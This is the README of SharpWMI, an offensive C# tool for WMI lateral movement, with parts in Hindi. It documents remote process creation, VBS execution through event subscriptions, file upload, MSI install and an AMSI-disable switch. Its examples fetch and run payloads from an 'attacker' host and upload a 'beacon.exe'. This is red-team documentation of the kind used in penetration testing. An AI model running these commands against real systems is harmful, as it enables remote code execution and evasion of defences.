
SharpWMI विभिन्न WMI कार्यक्षमता का C# कार्यान्वयन है।
SharpWMI विभिन्न WMI कार्यक्षमता का एक C# कार्यान्वयन है। इसमें स्थानीय/रिमोट WMI क्वेरी, win32_process के माध्यम से रिमोट WMI प्रक्रिया निर्माण, और WMI ईवेंट सब्सक्रिप्शन के माध्यम से मनमाना VBS का रिमोट निष्पादन शामिल है। रिमोट विधियों के लिए वैकल्पिक क्रेडेंशियल भी समर्थित हैं।
@harmj0y प्राथमिक लेखक हैं।
SharpWMI BSD 3-Clause लाइसेंस के तहत लाइसेंस प्राप्त है।
Local system enumeration:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Remote system enumeration:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Remote system Logged On users enumeration:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Remote process creation:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Remote VBS execution:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
File upload via WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Remote firewall enumeration :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
List processes:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminate process (first found):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Get environment variables (all if name not given):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Set environment variable:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Delete an environment variable:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Install MSI file:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
NOTE:
- Any remote function also takes an optional ""username=DOMAIN\\user"" ""password=Password123!"".
- If computername is not specified, will target localhost.
action=exec (वैकल्पिक रूप से action=create) पर result=true विकल्प SharpWMI को रिमोट WMI प्रक्रिया निर्माण के बाद कमांड का आउटपुट लौटाने के लिए बनाता है। यह कमांड के आउटपुट को एक मनमाने WMI ऑब्जेक्ट के इंस्टेंस में संग्रहीत करके काम करता है। उस ऑब्जेक्ट को फिर कॉल करने वाले द्वारा लाया जाता है और उसके मूल मान पर पुनर्स्थापित किया जाता है।
SharpWMI के मूल संस्करण की तुलना में executevbs क्रिया को पुनः कार्य किया गया। [script-specification] में परिभाषित स्क्रिप्ट विनिर्देश इस टूल को लक्ष्य VBS कोड की ओर इंगित करने के लिए निम्नलिखित विधियाँ प्रदान करता है:
A) Executes OS command via preset VBS code:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Download a binary file from given URL, store it in specified path and then execute it:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Download a binary file from given URL, store it in specified path and then execute arbitrary command:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Read VBS script from file and execute it:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Execute given VBS script given literally:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Base64 decode input string being encoded VBS script and execute it on remote machine:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Read contents of given file, base64 decode them and then execute on target machine:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
Finally, 'executevbs' action may have additional [time-specs] defined in seconds - they specify script trigger and wait timeouts:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
रिमोट Windows 10 मशीन से स्थानीय TCP netstat-शैली की जानकारी प्राप्त करें:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
हम SharpWMI के लिए बाइनरी जारी करने की योजना नहीं बना रहे हैं, इसलिए आपको स्वयं संकलन करना होगा :)
SharpWMI को .NET 3.5 के विरुद्ध बनाया गया है और यह Visual Studio 2015 Community Edition के साथ संगत है। बस प्रोजेक्ट .sln खोलें, "release" चुनें और बनाएँ।
| योगदान | लेखक |
|---|
| मूल SharpWMI कार्यान्वयन | Will Schroeder @harmj0y |
| WMI कोड-निष्पादन आउटपुट विचार | Evi1cg @Ridter |
| SharpMove से लिया गया AMSI चोरी कोड | Steven Flores 0xthirteen |
| संवर्द्धन, VBS लचीलापन, फ़ाइल अपलोड | Mariusz B. / mgeeky @mariuszbit |
| MSI फ़ाइलें स्थापित करें | Justin Bui @slyd0g |